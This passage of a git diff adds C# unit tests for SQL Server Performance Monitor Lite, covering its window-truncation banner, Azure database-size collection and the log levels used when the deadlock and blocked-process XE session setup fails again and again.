+    /// A server collected for 30 days whose first waiting task ever came 3 days ago: a 7-day window is covered, so
+    /// there is no banner. Active Queries reads the same way through its own collector's runs.
+    /// </summary>
+    [Fact]
+    public async Task FirstRowThreeDaysAgo_OnAServerCollectedForThirtyDays_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedLogRunsAsync("waiting_tasks", end.AddDays(-30), end, 360);
+        await SeedLogRunsAsync("query_snapshots", end.AddDays(-30), end, 360);
+        await SeedWaitingTaskAsync(end.AddDays(-3));
+        await SeedSnapshotAsync(end.AddDays(-3));
+
+        Assert.False((await BannerForAsync(QueryWindowRelation.WaitingTasks, end.AddDays(-7), end)).Visible);
+        Assert.False((await BannerForAsync(QueryWindowRelation.QuerySnapshots, end.AddDays(-7), end)).Visible);
+    }
+
+    /// <summary>
+    /// A server added 2 days ago, whose first waiting task came a day later: a 7-day window starts before its
+    /// coverage, and the banner names where coverage starts (its first collection), not its first row.
+    /// </summary>
+    [Fact]
+    public async Task CurrentWaits_ServerAddedTwoDaysAgo_SaysSinceItsFirstCollection_NotItsFirstRow()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var added = end.AddDays(-2);
+        await SeedLogRunsAsync("waiting_tasks", added, end, 30);
+        await SeedWaitingTaskAsync(end.AddDays(-1));
+
+        var (visible, text) = await BannerForAsync(QueryWindowRelation.WaitingTasks, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Equal("Showing since " + PerformanceMonitor.Ui.DisplayZone.Format(Naive(added), TimeZoneInfo.Utc, "yyyy-MM-dd HH:mm:ss"), text);
+    }
+
+    /// <summary>A server with no row in the window at all has nothing to say about where its data starts: no banner.</summary>
+    [Fact]
+    public async Task ActiveQueries_NoSnapshotInTheWindow_ShowsNoBanner()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedSnapshotAsync(end.AddDays(-20));
+
+        var (visible, _) = await BannerForAsync(QueryWindowRelation.QuerySnapshots, end.AddDays(-7), end);
+
+        Assert.False(visible);
+    }
+
+    /// <summary>
+    /// Source pins for the wiring: each surface has its banner TextBlock, and each read path of the surface (the
+    /// sub-tab switch and the full refresh, and for Active Queries the slicer handler) refreshes it through the
+    /// shared helper over the UTC window the grid read. Text-scans SOURCE, like QueryWindowTruncationTests.
+    /// </summary>
+    [Fact]
+    public void ActiveQueriesAndCurrentWaits_AreWiredThroughTheSharedBannerHelper()
+    {
+        var xaml = File.ReadAllText(ControlsFile("ServerTab.xaml"));
+        Assert.Contains("x:Name=\"ActiveQueriesWindowTruncatedBanner\"", xaml, StringComparison.Ordinal);
+        Assert.Contains("x:Name=\"CurrentWaitsWindowTruncatedBanner\"", xaml, StringComparison.Ordinal);
+
+        var refreshSource = File.ReadAllText(ControlsFile("ServerTab.Refresh.cs"));
+        var slicersSource = File.ReadAllText(ControlsFile("ServerTab.Slicers.cs"));
+
+        Assert.Equal(2, Regex.Matches(refreshSource,
+            @"RefreshWindowTruncatedBannerAsync\(QueryWindowRelation\.QuerySnapshots,\s*ActiveQueriesWindowTruncatedBanner,\s*windowStart\d?,\s*windowEnd\d?\)").Count);
+        Assert.Equal(2, Regex.Matches(refreshSource,
+            @"RefreshWindowTruncatedBannerAsync\(QueryWindowRelation\.WaitingTasks,\s*CurrentWaitsWindowTruncatedBanner,\s*windowStart\d?,\s*windowEnd\d?\)").Count);
+        Assert.Single(Regex.Matches(slicersSource,
+            @"RefreshWindowTruncatedBannerAsync\(QueryWindowRelation\.QuerySnapshots,\s*ActiveQueriesWindowTruncatedBanner,\s*e\.StartUtc,\s*e\.EndUtc\)"));
+    }
+
+    /// <summary>
+    /// The two drill-downs that open Active Queries on a narrow window (the chart and Overview "Show Active Queries at
+    /// This Time" drill, and the heatmap drill) load the grid for that window, so they refresh the "Showing since" banner for
+    /// it too: left alone it keeps describing the last range read, and can claim a cut the drill window does not have or
+    /// miss one it does. The banner takes the SAME pair the grid read takes. That pair is naive UTC end to end:
+    /// <c>GetDrillWindow</c> builds it from the clicked UTC instant (#4766), and <c>GetLatestQuerySnapshotsAsync</c> hands a
+    /// custom range straight through <c>GetTimeRange</c> to UTC <c>collection_time</c>, as the slicer handler does with
+    /// <c>e.StartUtc</c>/<c>e.EndUtc</c>, so nothing between them converts through the server's clock. The refresh follows
+    /// the bind, as the range read's does. Comments are stripped first, so a sentence that names the call cannot satisfy
+    /// the pin.
+    /// </summary>
+    [Theory]
+    [InlineData("private async void OnActiveQueriesDrillDown(")]
+    [InlineData("private async void OnHeatmapDrillDown(")]
+    public void ActiveQueriesDrillDowns_RefreshTheBannerForTheDrillWindow_AfterTheRowsAreBound(string signature)
+    {
+        var lf = File.ReadAllText(ControlsFile("ServerTab.DrillDown.cs")).Replace("\r\n", "\n");
+        var code = Regex.Replace(Regex.Replace(lf, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline), @"//[^\n]*", string.Empty);
+        var start = code.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"'{signature}' is no longer in ServerTab.DrillDown.cs; update this pin.");
+        var end = code.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        Assert.True(end > start, $"the end of '{signature}' was not found.");
+        var body = code[start..end];
+
+        var read = Regex.Match(body, @"GetLatestQuerySnapshotsAsync\(_serverId,\s*0,\s*(?<from>\w+),\s*(?<to>\w+)\)");
+        Assert.True(read.Success, $"'{signature}' no longer reads the grid through GetLatestQuerySnapshotsAsync(_serverId, 0, from, to); update this pin.");
+        var bound = body.IndexOf("_querySnapshotsFilterMgr!.UpdateData(snapshots);", StringComparison.Ordinal);
+        Assert.True(bound > read.Index, $"'{signature}' no longer binds the rows it read; update this pin.");
+
+        var banner = Regex.Matches(body,
+            @"await RefreshWindowTruncatedBannerAsync\(QueryWindowRelation\.QuerySnapshots,\s*ActiveQueriesWindowTruncatedBanner,\s*"
+            + Regex.Escape(read.Groups["from"].Value) + @",\s*" + Regex.Escape(read.Groups["to"].Value) + @"\);");
+        Assert.True(banner.Count == 1,
+            $"'{signature}' must refresh the Active Queries banner exactly once over the pair its grid read takes ("
+            + read.Groups["from"].Value + ", " + read.Groups["to"].Value + "); found " + banner.Count);
+        Assert.True(banner[0].Index > bound, $"'{signature}' must refresh the banner after the rows are bound, as the range read does");
+    }
+
+    /// <summary>
+    /// The Live Snapshot button swaps the Active Queries grid for the rows the server returns now, so the "Showing since"
+    /// banner the last range read raised no longer describes the grid. The handler collapses it and clears its text through
+    /// the shared step (<see cref="ServerTab.SetWindowTruncatedBanner"/>, whose not-truncated state
+    /// <c>QueryWindowTruncationTests</c> drives) as the live rows are bound, and not before, so a live read that fails,
+    /// which leaves the range rows in the grid, keeps the banner that still describes them. The next range read raises
+    /// the banner again through the shared helper (the pin above).
+    /// </summary>
+    [Fact]
+    public void LiveSnapshot_HidesTheActiveQueriesBanner_AsTheLiveRowsAreBound_AndNotWhenTheReadFails()
+    {
+        var source = File.ReadAllText(ControlsFile("ServerTab.xaml.cs"));
+        var handler = Regex.Match(source, @"private async void LiveSnapshot_Click\(.*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(handler.Success, "LiveSnapshot_Click was not found in ServerTab.xaml.cs");
+        var body = handler.Value;
+
+        var bound = body.IndexOf("_querySnapshotsFilterMgr!.UpdateData(results);", StringComparison.Ordinal);
+        var failed = body.IndexOf("catch (Exception ex)", StringComparison.Ordinal);
+        Assert.True(bound >= 0, "LiveSnapshot_Click no longer binds the live rows through _querySnapshotsFilterMgr.UpdateData(results)");
+        Assert.True(failed > bound, "LiveSnapshot_Click no longer has its failure arm after the rows are bound");
+
+        var hides = Regex.Matches(body, @"SetWindowTruncatedBanner\(ActiveQueriesWindowTruncatedBanner,\s*truncated:\s*false,");
+        Assert.True(hides.Count == 1,
+            "LiveSnapshot_Click must hide the Active Queries banner exactly once (found " + hides.Count + "): the live rows replace the range rows the banner described");
+        Assert.True(hides[0].Index > bound && hides[0].Index < failed,
+            "the banner must come down after the live rows are bound and before the failure arm, so a failed live read keeps it");
+    }
+
+    private static string ControlsFile(string name) =>
+        Path.GetFullPath(Path.Combine(ControlsDir(), name));
+
+    private static string ControlsDir([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls"));
+}
diff --git a/Lite.Tests/DatabaseSizeCollectorDefinitionTests.cs b/Lite.Tests/DatabaseSizeCollectorDefinitionTests.cs
index 9fa2e9a68f..f3d8bb7325 100644
--- a/Lite.Tests/DatabaseSizeCollectorDefinitionTests.cs
+++ b/Lite.Tests/DatabaseSizeCollectorDefinitionTests.cs
@@ -122,15 +122,16 @@ path entirely — so the hint is Azure-only. */
     }
 
     [Fact]
-    public void BuildQuery_Azure_IsDatabaseScoped_AndNeverEnumerates()
+    public void BuildQuery_Azure_IsDatabaseScoped_AndRunsPerDatabase()
     {
         var plan = DatabaseSizeStatsCollector.Instance.BuildQuery(CollectorTestContext.Make(s_deltas, isAzureSqlDb: true));
 
-        /* #1631: NOT per-database on Azure any more. RunsPerDatabase=true made the host enumerate
-           databases first, and that enumeration connects to master — the one database an Azure login
-           admitted by a DATABASE-level firewall rule cannot open (error 40615). The enumeration bought
-           nothing: the query is database-scoped and the connection already points at the right database. */
-        Assert.False(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureSqlDb = true }));
+        /* #5498: per-database on Azure again, and #1631's reason no longer applies. The enumeration connects to
+           master, which a login admitted by a DATABASE-level firewall rule cannot open (error 40615), but the host
+           now sweeps a registration that names a database on that database alone and never touches master (#2220).
+           A logical-server registration is connected to master anyway. One connection to master reported master's
+           files only, because the sibling arm read sys.resource_stats, which lags database creation by about an hour. */
+        Assert.True(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo { IsAzureSqlDb = true }));
         Assert.False(DatabaseSizeStatsCollector.Instance.RunsPerDatabase(new CollectorTargetInfo()));
 
         Assert.Contains("FROM sys.database_files AS df", plan.Text, StringComparison.Ordinal);
diff --git a/Lite.Tests/DatabaseStateNoVerdictTests.cs b/Lite.Tests/DatabaseStateNoVerdictTests.cs
index f499ec16fd..5840c54094 100644
--- a/Lite.Tests/DatabaseStateNoVerdictTests.cs
+++ b/Lite.Tests/DatabaseStateNoVerdictTests.cs
@@ -52,6 +52,7 @@ public DatabaseStateNoVerdictTests()
 
     public void Dispose()
     {
+        _duckDb.Dispose();
         CollectionResetGate.ResetForTests();
         try
         {
@@ -89,7 +90,7 @@ private async Task ExecAsync(params string[] statements)
 
     private async Task SeedAsync(params string[] statements)
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         await ExecAsync(statements);
     }
 
diff --git a/Lite.Tests/DatabaseStateSweepAfterArchiveTests.cs b/Lite.Tests/DatabaseStateSweepAfterArchiveTests.cs
index 41fa896ad0..438cbeeb95 100644
--- a/Lite.Tests/DatabaseStateSweepAfterArchiveTests.cs
+++ b/Lite.Tests/DatabaseStateSweepAfterArchiveTests.cs
@@ -48,6 +48,7 @@ public DatabaseStateSweepAfterArchiveTests()
 
     public void Dispose()
     {
+        _duckDb.Dispose();
         CollectionResetGate.ResetForTests();
         try
         {
@@ -82,7 +83,7 @@ private async Task ExecAsync(params string[] statements)
 
     private async Task SeedAsync(params string[] statements)
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         await ExecAsync(statements);
     }
 
diff --git a/Lite.Tests/DeadlockAndBlockedProcessEnsureLogLevelLiteTests.cs b/Lite.Tests/DeadlockAndBlockedProcessEnsureLogLevelLiteTests.cs
new file mode 100644
index 0000000000..9a37d3ec85
--- /dev/null
+++ b/Lite.Tests/DeadlockAndBlockedProcessEnsureLogLevelLiteTests.cs
@@ -0,0 +1,688 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// The deadlock and blocked-process XE sessions' Azure SQL Database ensure runs on every collector cycle, in every monitored
+/// database. A server that refuses the create refuses it on every cycle, so the first failing cycle logs the Warning for each
+/// refusing database and the Error for all of them (or the Error for a listing that failed), and the cycles after it log the
+/// same lines at Debug until a cycle succeeds (#4964). The retry and the exception are the same on every cycle, so each run
+/// still records the failure. The kept state is per server and per session. Each test drives the real ensure with the
+/// database list and the per-database work replaced, so no server is needed.
+///
+/// <para>The same rule covers the server-scoped arms (on-premises, Managed Instance, RDS), whose one connection and ensure
+/// are replaced the same way, and the collector's own line for a failed ensure: the first failing cycle logs at today's
+/// level, and the cycles after it log at Debug until a cycle of that session on that server succeeds (#4964). The run row
+/// and its classification are the same on every cycle.</para>
+///
+/// <para>In <c>app-logger-statics</c> because the tests read <see cref="AppLogger"/>'s process-wide buffer, which another
+/// reader would drain from under them.</para>
+/// </summary>
+[Collection("app-logger-statics")]
+public sealed class DeadlockAndBlockedProcessEnsureLogLevelLiteTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    private const string Host = "alwayson.database.windows.net";
+    private const string Deadlock = "deadlock";
+    private const string BlockedProcess = "blocked process";
+
+    private readonly string _tempDir;
+    private readonly string _configDir;
+    private readonly string _dbPath;
+
+    public DeadlockAndBlockedProcessEnsureLogLevelLiteTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        _configDir = Path.Combine(_tempDir, "config");
+        Directory.CreateDirectory(_configDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private sealed class Rig
+    {
+        public required RemoteCollectorService Service { get; init; }
+        public required ServerConnection Server { get; init; }
+        public required DuckDbInitializer DuckDb { get; init; }
+        public required int ServerId { get; init; }
+
+        /* What the logical server lists, before the registration's exclusions. */
+        public List<string> Listed { get; set; } = new() { "master", "alpha", "beta", "gamma" };
+        public List<(string Session, string Database)> Calls { get; } = new();
+        public HashSet<string> Refuse { get; } = new(StringComparer.OrdinalIgnoreCase);
+        public Exception? ListFailure { get; set; }
+
+        /* The SQL error number a refusing database says. 262 is a permission refusal, which the collector's run records as
+           PERMISSIONS and then skips for the rest of the session; any other number is recorded as ERROR on every cycle. */
+        public int RefusalNumber { get; set; } = 262;
+
+        /* The server-scoped arm: the error its one connection and ensure fail with, or null when they succeed. */
+        public SqlException? ServerFailure { get; set; }
+        public List<string> ServerCalls { get; } = new();
+
+        /* The databases tried for the session, named as the server names it (the ensure's session name, not its log label). */
+        public int TriedFor(string session) =>
+            Calls.Count(c => c.Session == (session == Deadlock ? DeadlocksCollector.XeSessionName : BlockedProcessReportCollector.XeSessionName));
+
+        public void RefuseEveryDatabase()
+        {
+            foreach (var database in new[] { "alpha", "beta", "gamma" })
+            {
+                Refuse.Add(database);
+            }
+        }
+    }
+
+    private static ServerConnection NewServer() =>
+        new() { ServerName = Host, DisplayName = "alwayson-" + Guid.NewGuid().ToString("N")[..8] };
+
+    private async Task<Rig> BuildRigAsync()
+    {
+        var duckDb = new DuckDbInitializer(_dbPath);
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+
+        var server = NewServer();
+        var servers = new ServerManager(_configDir);
+        servers.AddServer(server);
+
+        /* Azure SQL Database, so a collector run takes the per-database ensure. */
+        servers.GetConnectionStatus(server.Id).SqlEngineEdition = 5;
+
+        var schedules = new ScheduleManager(_configDir);
+        schedules.UpdateSchedule("deadlocks", enabled: true);
+        schedules.UpdateSchedule("blocked_process_report", enabled: true);
+
+        var rig = new Rig
+        {
+            Service = new RemoteCollectorService(duckDb, servers, schedules),
+            Server = server,
+            DuckDb = duckDb,
+            ServerId = RemoteCollectorService.GetServerId(server),
+        };
+
+        rig.Service.XeSessionDatabaseListOverrideForTests = (_, _) =>
+            rig.ListFailure is { } failure
+                ? Task.FromException<List<string>>(failure)
+                : Task.FromResult(rig.Listed.ToList());
+
+        rig.Service.XeSessionDatabaseEnsureOverrideForTests = (_, session, database, _) =>
+        {
+            rig.Calls.Add((session, database));
+            return rig.Refuse.Contains(database)
+                ? Task.FromException(SqlExceptionFactory.Create(rig.RefusalNumber, errorClass: 14, message: $"The create was refused in {database}."))
+                : Task.CompletedTask;
+        };
+
+        rig.Service.XeSessionServerEnsureOverrideForTests = (_, session, _) =>
+        {
+            rig.ServerCalls.Add(session);
+            return rig.ServerFailure is { } failure ? Task.FromException(failure) : Task.CompletedTask;
+        };
+
+        return rig;
+    }
+
+    /// <summary>One cycle of the named session's ensure on an Azure SQL Database server, for any server of the rig's service.</summary>
+    private static Task EnsureAsync(Rig rig, string session, ServerConnection? server = null) =>
+        session == Deadlock
+            ? rig.Service.EnsureDeadlockXeSessionAsync(server ?? rig.Server, engineEdition: 5, CancellationToken.None)
+            : rig.Service.EnsureBlockedProcessXeSessionAsync(server ?? rig.Server, engineEdition: 5, CancellationToken.None);
+
+    /// <summary>A cycle that fails: the collector still gets the exception it records the failure from, on every cycle.</summary>
+    private static async Task FailingCycleAsync(Rig rig, string session, ServerConnection? server = null)
+    {
+        var raised = await Assert.ThrowsAsync<XeSessionEnsureException>(() => EnsureAsync(rig, session, server));
+        Assert.Equal(session, raised.SessionKind);
+    }
+
+    /// <summary>The lines this server logged in the buffer since the last drain.</summary>
+    private static List<string> Lines(ServerConnection server) => ForServer(AppLogger.DrainBufferedLines(), server);
+
+    private static List<string> ForServer(IEnumerable<string> drained, ServerConnection server) =>
+        drained.Where(line => line.Contains(server.DisplayName, StringComparison.Ordinal)).ToList();
+
+    private static int Count(IEnumerable<string> lines, string level, string text) =>
+        lines.Count(line => line.Contains(level, StringComparison.Ordinal) && line.Contains(text, StringComparison.Ordinal));
+
+    private static string RefusalLine(string session) => $"Failed to ensure {session} XE session";
+
+    private static string AllRefusedLine(string session) => $"Failed to ensure the {session} XE session in all 3 database(s)";
+
+    private static string ListingLine(string session) => $"Failed to enumerate databases for {session} XE sessions";
+
+    /// <summary>
+    /// The create is refused in every database on every cycle. The first cycle logs a Warning for each refusing database and
+    /// an Error for the all-refused summary; the cycles after it log the same lines at Debug. The retry does not change:
+    /// every cycle tries every database, and every cycle throws.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task ACreateRefusedInEveryDatabase_LogsOneWarningSetAndOneError_ThenDebug(string session)
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync();
+            rig.RefuseEveryDatabase();
+            var lines = new List<string>();
+
+            await FailingCycleAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+            Assert.Equal(3, Count(lines, "WARN", RefusalLine(session)));
+            Assert.Equal(1, Count(lines, "ERROR", AllRefusedLine(session)));
+
+            await FailingCycleAsync(rig, session);
+            await FailingCycleAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            Assert.Equal(3, Count(lines, "WARN", RefusalLine(session)));
+            Assert.Equal(1, Count(lines, "ERROR", AllRefusedLine(session)));
+            Assert.Equal(6, Count(lines, "DEBUG", RefusalLine(session)));
+            Assert.Equal(2, Count(lines, "DEBUG", AllRefusedLine(session)));
+
+            /* The retry did not change: three cycles tried all three databases. */
+            Assert.Equal(9, rig.TriedFor(session));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>
+    /// A cycle that succeeds ends the run of refusals, so the next refusal warns again: the Warning set and the Error come
+    /// back once, and their repeats are Debug.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task ACreateRefusedAgainAfterItSucceeded_WarnsAgain(string session)
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync();
+            rig.RefuseEveryDatabase();
+            var lines = new List<string>();
+
+            await FailingCycleAsync(rig, session);
+            await FailingCycleAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+            Assert.Equal(3, Count(lines, "WARN", RefusalLine(session)));
+            Assert.Equal(3, Count(lines, "DEBUG", RefusalLine(session)));
+
+            rig.Refuse.Clear();
+            await EnsureAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            rig.RefuseEveryDatabase();
+            await FailingCycleAsync(rig, session);
+            await FailingCycleAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            Assert.Equal(6, Count(lines, "WARN", RefusalLine(session)));
+            Assert.Equal(2, Count(lines, "ERROR", AllRefusedLine(session)));
+            Assert.Equal(6, Count(lines, "DEBUG", RefusalLine(session)));
+            Assert.Equal(2, Count(lines, "DEBUG", AllRefusedLine(session)));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>
+    /// The ensure's own listing of the databases fails with a SQL error on every cycle: the first cycle logs its Error, and
+    /// the cycles after it log Debug.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task AListingThatFailsWithASqlError_LogsOneError_ThenDebug(string session)
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync();
+            var lines = new List<string>();
+
+            for (var cycle = 0; cycle < 3; cycle++)
+            {
+                rig.ListFailure = SqlExceptionFactory.Create(4060, errorClass: 11, message: "master is not readable.");
+                await FailingCycleAsync(rig, session);
+                lines.AddRange(Lines(rig.Server));
+            }
+
+            Assert.Equal(1, Count(lines, "ERROR", ListingLine(session)));
+            Assert.Equal(2, Count(lines, "DEBUG", ListingLine(session)));
+            Assert.Empty(rig.Calls);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>
+    /// The kept state is per session: the deadlock session's run of refusals does not turn the blocked-process session's
+    /// first failure into a Debug line, and the reverse.
+    /// </summary>
+    [Fact]
+    public async Task ARunOfRefusalsOfOneSession_DoesNotQuietTheOthersFirstFailure()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync();
+            rig.RefuseEveryDatabase();
+            var lines = new List<string>();
+
+            await FailingCycleAsync(rig, Deadlock);
+            await FailingCycleAsync(rig, Deadlock);
+            await FailingCycleAsync(rig, BlockedProcess);
+            await FailingCycleAsync(rig, BlockedProcess);
+            lines.AddRange(Lines(rig.Server));
+
+            foreach (var session in new[] { Deadlock, BlockedProcess })
+            {
+                Assert.Equal(3, Count(lines, "WARN", RefusalLine(session)));
+                Assert.Equal(1, Count(lines, "ERROR", AllRefusedLine(session)));
+                Assert.Equal(3, Count(lines, "DEBUG", RefusalLine(session)));
+                Assert.Equal(1, Count(lines, "DEBUG", AllRefusedLine(session)));
+            }
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>
+    /// The kept state is per server: one server's run of refusals does not turn another server's first failure into a Debug
+    /// line, and a success on one does not end the other's run.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task ARunOfRefusalsOnOneServer_DoesNotQuietAnotherServersFirstFailure(string session)
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync();
+            var other = NewServer();
+            rig.RefuseEveryDatabase();
+
+            await FailingCycleAsync(rig, session);
+            await FailingCycleAsync(rig, session);
+            await FailingCycleAsync(rig, session, other);
+            var drained = AppLogger.DrainBufferedLines();
+            var first = ForServer(drained, rig.Server);
+            var second = ForServer(drained, other);
+
+            Assert.Equal(3, Count(first, "WARN", RefusalLine(session)));
+            Assert.Equal(1, Count(first, "ERROR", AllRefusedLine(session)));
+            Assert.Equal(3, Count(second, "WARN", RefusalLine(session)));
+            Assert.Equal(1, Count(second, "ERROR", AllRefusedLine(session)));
+
+            /* The other server's success does not end the first server's run: its next refusal is still Debug. */
+            rig.Refuse.Clear();
+            await EnsureAsync(rig, session, other);
+            rig.RefuseEveryDatabase();
+            await FailingCycleAsync(rig, session);
+            var again = Lines(rig.Server);
+
+            Assert.Equal(0, Count(again, "WARN", RefusalLine(session)));
+            Assert.Equal(0, Count(again, "ERROR", AllRefusedLine(session)));
+            Assert.Equal(3, Count(again, "DEBUG", RefusalLine(session)));
+            Assert.Equal(1, Count(again, "DEBUG", AllRefusedLine(session)));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    private static async Task WithDebugLoggingAsync(Func<Task> body)
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+            await body();
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    /// <summary>One cycle of the named session's ensure on a server-scoped server: on-premises, Managed Instance or RDS.</summary>
+    private static Task EnsureOnPremAsync(Rig rig, string session, ServerConnection? server = null) =>
+        session == Deadlock
+            ? rig.Service.EnsureDeadlockXeSessionAsync(server ?? rig.Server, engineEdition: 3, CancellationToken.None)
+            : rig.Service.EnsureBlockedProcessXeSessionAsync(server ?? rig.Server, engineEdition: 3, CancellationToken.None);
+
+    /// <summary>A server-scoped cycle that fails: the collector still gets the exception it records the failure from.</summary>
+    private static async Task FailingOnPremCycleAsync(Rig rig, string session, ServerConnection? server = null)
+    {
+        var raised = await Assert.ThrowsAsync<XeSessionEnsureException>(() => EnsureOnPremAsync(rig, session, server));
+        Assert.Equal(session, raised.SessionKind);
+        Assert.Same(rig.ServerFailure, raised.InnerException);
+    }
+
+    private static string CollectorName(string session) => session == Deadlock ? "deadlocks" : "blocked_process_report";
+
+    /// <summary>The collector's own line for a failed ensure, as <c>RunCollectorAsync</c> writes it.</summary>
+    private static string CollectorLine(string session) => $"{CollectorName(session)} Failed to ensure {session} XE session";
+
+    /// <summary>One run of the session's collector on the Azure SQL Database server. The ensure fails before any read, so no server is needed.</summary>
+    private static Task RunCollectorAsync(Rig rig, string session) =>
+        rig.Service.RunCollectorAsync(rig.Server, CollectorName(session), CancellationToken.None);
+
+    /// <summary>The collection_log rows the test's server has for the session's collector, oldest first.</summary>
+    private static async Task<List<(string Status, string? Error)>> ReadRunsAsync(Rig rig, string session)
+    {
+        using var connection = rig.DuckDb.CreateConnection();
+        await connection.OpenAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = $"SELECT status, error_message FROM collection_log WHERE server_id = {rig.ServerId} AND collector_name = '{CollectorName(session)}' ORDER BY log_id";
+        using var reader = await command.ExecuteReaderAsync();
+        var runs = new List<(string, string?)>();
+        while (await reader.ReadAsync())
+        {
+            runs.Add((reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1)));
+        }
+
+        return runs;
+    }
+
+    /// <summary>
+    /// The server-scoped ensure fails with a SQL error that is not a permission refusal on every cycle: the first cycle logs
+    /// its Error, and the cycles after it log Debug. The retry does not change: every cycle connects and ensures, and every
+    /// cycle throws the exception the collector records its failure from.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task AServerScopedEnsureThatFailsWithASqlError_LogsOneError_ThenDebug(string session)
+    {
+        await WithDebugLoggingAsync(async () =>
+        {
+            var rig = await BuildRigAsync();
+            rig.ServerFailure = SqlExceptionFactory.Create(1105, errorClass: 17, message: "The filegroup is full.");
+            var lines = new List<string>();
+
+            await FailingOnPremCycleAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+            Assert.Equal(1, Count(lines, "ERROR", RefusalLine(session)));
+
+            await FailingOnPremCycleAsync(rig, session);
+            await FailingOnPremCycleAsync(rig, session);
+            lines.AddRange(Lines(rig.Server));
+
+            Assert.Equal(1, Count(lines, "ERROR", RefusalLine(session)));
+            Assert.Equal(2, Count(lines, "DEBUG", RefusalLine(session)));
+            Assert.Equal(0, Count(lines, "WARN", RefusalLine(session)));
+            Assert.Equal(3, rig.ServerCalls.Count(call => call == SessionName(session)));
+        });
+    }
+
+    /// <summary>
+    /// A permission refusal is the same rule at its own level: the first cycle logs its Warning and the cycles after it log
+    /// Debug. A collector run records PERMISSIONS and is skipped from then on, so the ensure is called directly here.
+    /// </summary>
+    [Theory]
+    [InlineData(Deadlock)]
+    [InlineData(BlockedProcess)]
+    public async Task AServerScopedEnsureRefusedForPermission_LogsOneWarning_ThenDebug(string session)
+    {
